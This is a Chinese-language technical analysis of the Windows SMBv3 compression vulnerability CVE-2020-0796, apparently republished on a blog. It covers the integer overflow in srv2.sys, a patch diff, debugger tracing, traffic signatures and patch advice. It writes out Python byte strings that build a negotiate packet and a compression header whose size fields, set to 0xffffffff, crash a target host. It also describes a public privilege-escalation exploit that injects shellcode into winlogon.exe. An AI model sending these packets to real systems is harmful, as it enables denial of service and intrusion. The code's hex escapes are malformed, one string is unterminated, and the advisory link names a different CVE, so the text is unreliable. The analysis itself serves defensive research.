微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的

今天就跟大家聊聊有关微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

一、漏洞基本信息

1.SMBv3介绍

   服务器消息块(SMB),是一个网络通信协议,用于提供共享访问到文件,打印机和串行端口的节点之间的网络上。它还提供了经过身份验证的进程间通信机制。SMB的大多数用法涉及运行Microsoft Windows的计算机,在引入Active Directory之前被称为“ Microsoft Windows网络” 。相应的Windows服务是用于服务器组件的LAN Manager服务器和用于客户端组件的LAN Manager工作站。

Windows 10和Windows Server 2016引入了SMB 3.1.1 。除了在SMB3中添加的AES-128 CCM加密外,该版本还支持AES-128 GCM加密,并使用SHA-512哈希实现预认证完整性检查。当使用SMB 2.x和更高版本连接到客户端时,SMB 3.1.1还使安全协商成为必需。

2.漏洞描述

CVE-2020-0796,微软SMBv3 Client/Server远程代码执行漏洞。该漏洞存在于srv2.sys文件中,由于SMB没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。

3.漏洞文件

漏洞存在于srv2.sys文件中

4.漏洞函数

该漏洞涉及到了多个函数:

Srv2DecompressMessageAsync

Srv2DecompressData

Smb2GetHonorCompressionAlgOrder

Smb2SelectCompressionAlgorithm

Smb2ValidateCompressionCapabilities

二、漏洞深入分析

1. 基础数据结构

主要看一下SMB2 COMPRESSION_TRANSFORM_HEADER结构:

微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的

首先,说明了结构使用的场景:客户端或服务器在发送压缩消息时使用SMB2 COMPRESSION_TRANSFORM_HEADER。此可选标头仅对SMB 3.1.1 Dialect有效。

对以上各字段做简要说明:

字段             含义
ProtocolId (4 bytes)             协议标识符。该值必须设置为0x424D53FC,也以网络顺序表示为0xFC,“ S”,“ M”和“ B”。
OriginalCompressedSegmentSize (4 bytes)             原始压缩数据的大小(以字节为单位)。
CompressionAlgorithm (2 bytes)             此字段务必包含CompressionAlgorithms字段中指定的用于压缩SMB2消息的算法之一,“ NONE”除外。
Flags (2 bytes)             必须为2个特定值之一
Offset/Length (4 bytes)             如果在Flags字段中设置了SMB2_COMPRESSION_FLAG_CHAINED,则该字段必须解释为长度,压缩有效payload的长度(以字节为单位);否则,该字段必须解释为偏移。从此结构的末尾到压缩数据段开始的偏移量(以字节为单位)。

CompressionAlgorithms字段中指定的算法:

微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的

Flags字段可选的固定值:

微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的

2. 分析环境搭建及配置

Windows版本:1909,未安装安全更新补丁(KB4551762)

配置内核调试(目标主机):管理员权限启动powershell或cmd,执行如下命令:

bcdedit /set dbgtransport kdnet.dllbcdedit /dbgsettings NET HOSTIP:调试机IP PORT:50000bcdedit /debug on

结果如下:

微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的

调试机windbg配置:

微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的

3. 静态分析

3.1 补丁对比

首先进行安全更新前后的补丁对比:

微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的根据已掌握信息,重点查看Svr2DecompressData函数:

微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的

可以很明显看到添加了一个RtlULongAdd函数的调用,根据以往SMB的漏洞,新增该函数通常是进行某些数据运算然后进行边界检查。

3.2 IDA反编译查看源代码

srv2.sys文件拖入IDA,先观察函数实现:

1. SMB首先调用srv2!Srv2ReceiveHandler函数接收数据包,并根据ProtocolId设置对应的处理函数:

微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的

微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的如果判断数据包中为压缩的数据(ProtocolID = 0xfc4d5342),则调用处置函数–Srv2DecompressMessageAsync函数。

2. srv2!Srv2DecompressMessageAsync函数会继续调用 Srv2DecompressData函数:

微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的

Srv2DecompressMessageAsync函数并不是实际处理压缩数据的函数,而是继续调用了Srv2DecompressData函数,跟进查看Srv2DecompressData函数:

微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的在Srv2DecompressData函数中可以看到数据处理的部分:在进行buffer分配时,会调用SrvNetAllocateBuffer进行分配。但是在调用时,并未对OriginalCompressedSegmentSize和Offset/Length的长度进行任何检查,对二者相加的和也未进行安全检查。此处就存在一个整数溢出,如果二者的和为一个特别大的值,会超出内存存储范围,值会变成一个很小的值。

3. srv2!Srv2DecompressData函数调用SmbCompressionDecompress函数,进而调用nt!RtlDecompressBufferXpressLz函数进行实际的数据解压过程。

nt!RtlDecompressBufferXpressLz函数位于ntoskrnl.exe中,该函数实际进行的处理就是:

微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的

由上面的代码可以看到在进行数据解压缩时,首先进行smb compress协议数据包的解析,获取其中包含的需要解压缩的数据的大小,并和之前通过SrvNetAllocateBuffer分配的buffer的OriginalCompressedSegmentSize值进行比较,确认其大小不大于OriginalCompressedSegmentSize,然后进行内存拷贝。若v21大于OriginalCompressedSegmentSize,则返回0xC0000242错误。因为在2中进行内存分配时没有做长度检查,所以如果传入一个很大的OriginalCompressedSegmentSize值触发整数溢出,此时v21就可以设置一个极大值,但可以通过对decompress size的判断,最终调用qmemcpy拷贝一个极大的size导致缓冲区溢出。

4. 动态分析

4.1 SMB2通信流程

SMB2的通信流程如下图所示:

微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的

SMB2协议定义的内容:

Protocol negotiation (SMB2 NEGOTIATE)  //协议协商

User authentication (SMB2 SESSION_SETUP, SMB2 LOGOFF)   //用户认证

Share access (SMB2 TREE_CONNECT, SMB2 TREE_DISCONNECT)  //共享访问

File access (SMB2 CREATE, SMB2 CLOSE, SMB2 READ, SMB2 WRITE, SMB2 LOCK, SMB2 IOCTL, SMB2 QUERY_INFO, SMB2 SET_INFO, SMB2 FLUSH, SMB2 CANCEL)    //文件访问

Directory access (SMB2 QUERY_DIRECTORY, SMB2 CHANGE_NOTIFY)   //目录访问

Volume access (SMB2 QUERY_INFO, SMB2 SET_INFO)      //卷访问

Cache coherency (SMB2 OPLOCK_BREAK)             //缓存一致性       

Simple messaging (SMB2 ECHO)          //消息传递

SMB2.1新增:

Protocol Negotiation (SMB2 NEGOTIATE)   

Share Access (SMB2 TREE_CONNECT)

File Access (SMB2 CREATE, SMB2 WRITE)

Cache Coherency (SMB2 OPLOCK_BREAK)

Hash Retrieval (SMB2 IOCTL)   //哈希检索

SMB3.x新增:

Protocol Negotiation and secure dialect validation (SMB2 NEGOTIATE, SMB2 IOCTL)  //dialect验证

Share Access (SMB2 TREE_CONNECT)

File Access (SMB2 CREATE, SMB2 READ, SMB2 WRITE)

Hash Retrieval (SMB2 IOCTL)

Encryption (SMB2 TRANSFORM_HEADER)

SMB3.1.1新增(1903引入):

Compression (SMB2 COMPRESSION_TRANSFORM_HEADER)   //支持压缩数据

4.2 连接建立过程

首先是NEGOTIATE过程,client端发送一个NEGOTIATE请求,server端回复一个NEGOTIATE响应。

微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的

参考SMB2通信pcap和官方协议文档构造数据包

# NetBios Session Service
Negotiate_pkt=b'/x00'                  # Message Type
Negotiate_pkt+=b'/x00/x00/xe6'         # Length
# SMB2 Header
Negotiate_pkt+=b'/xfe/x53/x4d/x42'     # ProtocolId
Negotiate_pkt+=b'/x40/x00'             # StructureSize
Negotiate_pkt+=b'/x00/x00'             # CreditCharge
Negotiate_pkt+=b'/x00/x00'             # ChannelSequence
Negotiate_pkt+=b'/x00/x00'             # Reserved
Negotiate_pkt+=b'/x00/x00'             # Command
Negotiate_pkt+=b'/x01/x00'             # CreditRequest
Negotiate_pkt+=b'/x00/x00/x00/x00'     # Flags
Negotiate_pkt+=b'/x00/x00/x00/x00'     # NextCommand(Chain Offset)
Negotiate_pkt+=b'/x01/x00/x00/x00/x00/x00/x00/x00'     # MessageId 
Negotiate_pkt+=b'/xff/xfe/x00/x00'     # ProcessId
Negotiate_pkt+=b'/x00/x00/x00/x00'     # TreeId
Negotiate_pkt+=b'/x00/x00/x00/x00/x00/x00/x00/x00'     # SessionId
Negotiate_pkt+=b'/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00'  # Signature
# Negotiate Protocol Request
Negotiate_pkt+=b'/x24/x00'             # StructureSize
Negotiate_pkt+=b'/x05/x00'             # DialectCount
Negotiate_pkt+=b'/x01/x00'             # SecurityMode
Negotiate_pkt+=b'/x00/x00'             # Reserved 
Negotiate_pkt+=b'/x40/x00/x00/x00'     # Capabilities 
Negotiate_pkt+=b'/xa2/x8e/xf8/x84'     #ClientGuid 
Negotiate_pkt+=b'/xe6/x65/xea/x11'
Negotiate_pkt+=b'/xb4/xc6/x00/x1c'
Negotiate_pkt+=b'/x42/xbf/x6a/x9c'
Negotiate_pkt+=b'/x70/x00/x00/x00'     # NegotiateContextOffset
Negotiate_pkt+=b'/x03/x00'             # NegotiateContextCount
Negotiate_pkt+=b'/x00/x00'             # Reserved2
Negotiate_pkt+=b'/x02/x02'             # Dialect: SMB 2.0.2
Negotiate_pkt+=b'/x10/x02'             # Dialect: SMB 2.1
Negotiate_pkt+=b'/x00/x03'             # Dialect: SMB 3.0
Negotiate_pkt+=b'/x02/x03'             # Dialect: SMB 3.0.2
Negotiate_pkt+=b'/x11/x03'             # Dialect: SMB 3.1.1
Negotiate_pkt+=b'/x00/x00'
#Negotiate Context: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
Negotiate_pkt+=b'/x01/x00'             # Type
Negotiate_pkt+=b'/x26/x00'             # DataLength
Negotiate_pkt+=b'/x00/x00/x00/x00'     # Reserved
Negotiate_pkt+=b'/x01/x00'             # HashAlgorithmCount
Negotiate_pkt+=b'/x20/x00'             # SaltLength
Negotiate_pkt+=b'/x01/x00'             # HashAlgorithm
Negotiate_pkt+=b'/xcf/xa4/x93/xd0'     # Salt
Negotiate_pkt+=b'/xf3/xd1/x41/x8c'
Negotiate_pkt+=b'/x1a/xcb/x36/x4d'
Negotiate_pkt+=b'/x9f/x77/x27/x6d'
Negotiate_pkt+=b'/x72/x80/x2b/xf4'
Negotiate_pkt+=b'/x71/x94/x64/x99'
Negotiate_pkt+=b'/xb3/x91/x4b/x7f'
Negotiate_pkt+=b'/xf8/x92/x47/xe2'
Negotiate_pkt+=b'/x00/x00'
#Negotiate Context SMB2_COMPRESSION_CAPABILITIES
Negotiate_pkt+=b'/x03/x00'             # Type
Negotiate_pkt+=b'/x0e/x00'             # DataLength
Negotiate_pkt+=b'/x00/x00/x00/x00'     # Reserved
Negotiate_pkt+=b'/x01/x00'             # CompressionAlgorithmCount
Negotiate_pkt+=b'/x00/x00/x00/x00/x00/x00
Negotiate_pkt+=b'/x02/x00'             # CompressionAlgorithmId:LZ77

(备注:我的测试机抓去的流量包中有4个NegotiateContext,为了保证PoC的通用性,删除掉其中两个与我们关系不大的NegotiateContext,所以最后使用2个NegotiateContext。注意,删除后需要修改前面的数据长度。)

根据官方文档中构造SMB2 COMPRESSION_TRANSFORM_HEADER:

根据前面的数据结构,前面几个字段正常构造,因为Flags分为两种情况:FLAG_NONE和FLAG_CHAINED,为简单起见后面我们选用FLAG_NONE。而对于Offset/Length字段,当选用FLAG_NONE时该处四字节代表offset,offset为从offset所占4字节结束到后面compressed data起始的位置偏移量;当选用FLAG_CHAINED时该处四字节代表length,length为后面compressed payload的大小。

根据COMPRESSION_TRANSFORM_HEADER的结构,初始构造数据包如下:

# NetBios
Smb2_crash_pkt=b'/x00'                   # Message Type
Smb2_crash_pkt+=b'/x00/x00/x20'          # Length
# SMB2 Compression Transform Header
Smb2_crash_pkt+=b'/xfc/x53/x4d/x42'      # ProtocolId
Smb2_crash_pkt+=b'/x10/x00/x00/x00'      # OriginalCompressedSegmentSize
Smb2_crash_pkt+=b'/x02/x00'              # CompressionAlgorithm LZ77
Smb2_crash_pkt+=b'/x00/x00'              # Flags
Smb2_crash_pkt+=b'/x01/x00/x00/x00'      # Offset
# Compressed SMB3 Data
#因为我们此时不知道算法内部的数据处理过程,所以先随意给压缩数据进行调试
Smb2_crash_pkt+=b'/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41'

4.3 WinDbg动态调试

1. 首先在srv2!Srv2DecompressData函数下断点bmsrv2!Srv2DecompressData` ,并发送前面构造的数据包:

微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的

断点命中,系统停在srv2!Srv2DecompressData函数。

2. 单步跟踪,来到srv2!Srv2DecompressData + 0x68地址处:

微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的

在mov rax, qword ptr [rsp+30]指令处,查看rsp+30中的内容,发现为构造的压缩数据头部。

3. 继续跟踪,来到调用SrvnetAllocateBuffer指令处:

微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的

前面IDA反汇编知道,该函数主要用于buffer内存分配。rcx寄存器中存放了该函数参数。此处经过静态分析和多次调试发现,rcx中存放的值恰好为 OriginalCompressedSegmentSize与Offset之和。结合补丁添加的对OriginalCompressedSegmentSize+Offset的检查,可以构想漏洞是由该和检查不足导致。

4. 跟进,分析SmbCompressionDecompress函数:

微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的

该函数中,rcx为第一个参数,指定了使用的压缩算法的类型,rdx为第二个参数,指定了压缩数据存放的位置,读取rdx中的值可以看到构造的压缩数据。如果要对该函数进行深入分析,需要了解压缩算法的具体实现,但目前对LZ77算法的信息不是十分完善,暂未进行重写。

至此,漏洞原理已分析清楚,只要构造OriginalCompressedSegmentSize与Offset之和能产生整数溢出就有可能触发漏洞。

5. crash的PoC复现

修改前面PoC代码中OriginalCompressedSegmentSize与Offset的任意一个字段值为0xffffffff,同时另外一个字段值非0,发送数据包进行验证:

微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的

成功触发漏洞,造成目标主机蓝屏,PoC测试成功。

6. 本地提权的EXP复现

2020年3月30日,互联网中出现公开的本地权限提取利用EXP,泄漏的EXP为exe文件,直接在目标主机中进行运行即可实现本地权限提取,运行结果:

微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的

而查看该LPE EXP的关键源代码:

微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的

该EXP主要是利用了往’winlogon.exe’中写入shellcode的方式来实现权限提升的目的,而shellcode的位置和指针通过利用SMB漏洞进行部署。

7. 更新后的srv2.sys文件

对更新后的srv2.sys文件进行IDA反编译可以发现,主要是对Srv2DecompressData函数进行了更新,添加了一些数据长度的检查,与补丁对比信息吻合。

微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的

8. 流量分析

使用两个不同的PoC造成的蓝屏的流量截图如下:

第一种,设置Offset/Length字段为ffffffff:

微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的

第二种,设置OriginalCompressedSegmentSize字段为ffffffff:

微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的

9. 漏洞防御策略

熟悉了漏洞原理后,可以轻松在流量测进行防御,只需判断两个字段的值的和是否大于0xffffffff触发整数溢出即可。

利用此漏洞,远程未经身份验证的攻击者通过使用SMBv3连接到易受攻击的Windows计算机,或通过使易受攻击的Windows系统启动与SMBv3服务器的客户端连接,就可以在易受攻击的系统上以SYSTEM特权执行任意代码。

目前互联网中已出现公开的EXP,微软官方已经发布了针对此漏洞的安全补丁。经千里目实验室安全研究员分析,此漏洞危害较大,且漏洞信息已快速传播,建议用户尽快安装安全更新补丁。

三、影响范围

目前受影响的Microsoft版本:

Windows 10 Version 1903 for 32-bit Systems

Windows 10 Version 1903 for ARM64-based Systems

Windows 10 Version 1903 for x64-based Systems

Windows 10 Version 1909 for 32-bit Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows 10 Version 1909 for x64-based Systems

Windows Server, version 1903 (Server Core installation)

Windows Server, version 1909 (Server Core installation)

四、修复建议

该漏洞微软目前已发布针对此漏洞的安全更新补丁,千里目实验室建议广大用户及时确认所用Windows版本,并下载对应版本安全补丁进行更新:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0618

看完上述内容,你们对微软SMBv3 ClientServer远程代码执行CVE-2020-0796漏洞的分析是怎么样的有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注亿速云行业资讯频道,感谢大家的支持。

原创文章,作者:745907710,如若转载,请注明出处:https://blog.ytso.com/221497.html

(0)
上一篇 2022年1月3日
下一篇 2022年1月3日

相关推荐

发表回复

登录后才能评论